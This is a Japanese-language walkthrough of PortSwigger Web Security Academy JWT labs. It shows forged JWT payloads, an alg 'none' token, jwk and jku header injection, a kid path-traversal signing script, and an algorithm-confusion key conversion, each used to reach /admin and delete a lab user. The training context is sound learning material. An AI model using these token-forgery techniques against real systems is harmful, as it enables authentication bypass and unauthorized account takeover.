# Web Security Academy JWT Attack Challenge
[toc]
## JWT authentication bypass via unverified signature
`wiener:peter`でログインするとJWTが付与されることがわかる。

JWTのペイロード部を以下のように書き換えてあげ、`/my-account?id=carlos`にアクセスすると、carlosの認証後の画面が見えるようになる。
```json
{"iss":"portswigger","sub":"carlos","exp":1704613424}
```
と思ったが、`/admin`パネルでcarlosを消す必要があるみたいだった。
`/admin`にアクセスすると、`administrator`アカウントがいそうなメッセージを確認できるため、
```json
{"iss":"portswigger","sub":"administrator","exp":1704613424}
```
上記のようにペイロード部を変更し、`/admin`にアクセス後,変更後のjwtを使い、`/admin/delete?username=carlos`にリクエストを投げるだけ。
## JWT authentication bypass via flawed signature verification
ヘッダー部を`{"kid":"f6b310a3-a94a-49dc-91eb-630e72bd05f9","alg":"none"}`のようにし、payload部を`{"iss":"portswigger","sub":"carlos","exp":1704614183}` のようにする。
`JWT`
```base64
eyJraWQiOiJmNmIzMTBhMy1hOTRhLTQ5ZGMtOTFlYi02MzBlNzJiZDA1ZjkiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImNhcmxvcyIsImV4cCI6MTcwNDYxNDE4M30=.
```
これで、`/my-account?id=carlos`にアクセスすると、carlosの認証後ページが閲覧できる。
none attackが決まることがわかったので、payload部の`sub`クレームを`administrator`に変更して`/admin`にアクセスする。

これができたら、`/admin/delete?username=carlos`にリクエストを飛ばし終了。
## JWT authentication bypass via weak signing key
hashcatを手元で回すのがしんどいため無視。
## JWT authentication bypass via jwk header injection
`wiener:peter`でログインを行う。
```json
{"kid":"bc9273fd-ef58-4302-8059-e52c16cc5014","alg":"RS256"}.
{"iss":"portswigger","sub":"wiener","exp":1704635869}.
signature...
```
今回は、自身の秘密鍵で署名したJWTを公開鍵を指定し検証させるというもの。
これでよしです。
JWT Editorに移動し、`New RSA Key > Generate > OK`でRSA秘密鍵を生み出します。
`/admin`へのリクエストをRepeaterに送り、Attackを押下します。

`Attack > Embedded JWK Attack > OK`を選択し、Payload部の`sub`を`administrator`に変更しリクエストを送る。

アクセスできていることを確認できたら、`/admin/delete?username=carlos`で終わり。
## JWT authentication bypass via jku header injection
`wiener:peter`でログインすると以下のような感じ。

[前回のラボ](https://hackmd.io/EHB0iqeVQj6qasPnhrCTmg#JWT-authentication-bypass-via-jwk-header-injection)のように鍵を生成して、`Copy Publick Key as JWK`して以下のような形式で、`JWKセット`を作成し、エクスプロイトサーバに格納。
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "e11edf31-8729-4327-b01f-580d008de03f",
"n": "5iMOt-S6bb_awexOInRoR5d1CB5qkAqxFOCRQkQoGsulfQvaP5KY6bVV8m-RjnjNs5hT-OsCdso7YoET0zVwbjLN6_Knx3xNmbMw_T69r_2UDJJDHi4GclLS5m8UpFgzru8yC5JHOISwtpZSBELSi5GJ318Lk1B4f7j_aendiAtveK42o7CoXPW2wJon7-vj_VV9FGdhA-ftWx6f59wMD-v6577CD_eHAMqGHgeIS58b21G8UwBJqjUJqwIMJN_vH1i0nPCkU6o1T_I5NllaV3kvGVYrdrd-gUjPCa56gIToU0zXreSTeuVrupSU-pQBbIp_JdoyBzBA4V8fJBA6Vw"
}
]
}
```
`wiener:peter`でログインした際に付与されたJWTのヘッダー部の`kid`を、Exploit ServerにストアしているJWK Setのkidに置き換える。

この状態にしたら、Signして新しいJWTを作成し、`/admin/delete?username=carlos`にGETリクエストを送り終わり。
## JWT authentication bypass via kid header path traversal
```node
const jwt = require("jsonwebtoken");
const fs = require("fs");
const payload = {
"iss": "portswigger",
"sub": "administrator",
"exp": 1704645180
};
const secret = fs.readFileSync("/dev/null");
const token = jwt.sign(payload, secret, {keyid:"../../../../../../../../../../dev/null"});
console.log(token);
```
これで、JsonWebTokenを取得し、`/admin/delete?username=carlos`にGETを飛ばすだけ。
## JWT authentication bypass via algorithm confusion
`wiener:peter`でアクセスすると、以下のようなJWTが付与されます。

また、`/jwks.json`にアクセスすると、以下のようなレスポンスが帰ってくることがわかります。
```text
HTTP/2 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 455
{"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"507b2229-7cd7-4187-aeb2-005a04ebd834","alg":"RS256","n":"yaBCR7CZ_742FzwY3PKGxY7pt3cQQxdVG8SaA1Yj4FE0C7qIuYuNUdP1wVfCCCRee02NpyhsKlL2UPRiUyeagQc0Fub3tyqJTuE812h6CbCx0hD9boxht7tGSu1BjI3FEzOFjrv9SdxoqBxUemIUOYrq8PIV2skU5G21epZFEi8BhUp32O5jmEbLW1OtvQK8QrOooliJv4jU4GaMMaLHpYK909RilUAyhEtHOg-deeMqIQX4AQTGluPT9uDv-nMw8c3qxj1OeyjOWfWrdk2K-6b1chIfMx8zHuQiZdAjR4h_RRR3H_pZ7mq5vDmjpJJt9S--IRvd8M3NdFgcIlJUWw"}]}
```
jwkを抜き取って、PEM形式に変更をしましょう。
```javascript
const jose = require("node-jose");
const jwk = {
kty: "RSA",
e: "AQAB",
use: "sig",
alg: "RS256",
n: "yaBCR7CZ_742FzwY3PKGxY7pt3cQQxdVG8SaA1Yj4FE0C7qIuYuNUdP1wVfCCCRee02NpyhsKlL2UPRiUyeagQc0Fub3tyqJTuE812h6CbCx0hD9boxht7tGSu1BjI3FEzOFjrv9SdxoqBxUemIUOYrq8PIV2skU5G21epZFEi8BhUp32O5jmEbLW1OtvQK8QrOooliJv4jU4GaMMaLHpYK909RilUAyhEtHOg-deeMqIQX4AQTGluPT9uDv-nMw8c3qxj1OeyjOWfWrdk2K-6b1chIfMx8zHuQiZdAjR4h_RRR3H_pZ7mq5vDmjpJJt9S--IRvd8M3NdFgcIlJUWw"
};
jose.JWK.asKey(jwk).then(x => {
const secret = x.toPEM();
console.log(secret);
});
```
`result`
```text
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyaBCR7CZ/742FzwY3PKG
xY7pt3cQQxdVG8SaA1Yj4FE0C7qIuYuNUdP1wVfCCCRee02NpyhsKlL2UPRiUyea
gQc0Fub3tyqJTuE812h6CbCx0hD9boxht7tGSu1BjI3FEzOFjrv9SdxoqBxUemIU
OYrq8PIV2skU5G21epZFEi8BhUp32O5jmEbLW1OtvQK8QrOooliJv4jU4GaMMaLH
pYK909RilUAyhEtHOg+deeMqIQX4AQTGluPT9uDv+nMw8c3qxj1OeyjOWfWrdk2K
+6b1chIfMx8zHuQiZdAjR4h/RRR3H/pZ7mq5vDmjpJJt9S++IRvd8M3NdFgcIlJU
WwIDAQAB
-----END PUBLIC KEY-----
```
あと以下のようにしてJWTを生み出し、`/admin/delete?username=carlos`にアクセスして終わり。

## JWT authentication bypass via algorithm confusion with no exposed key
hashcatしんどい。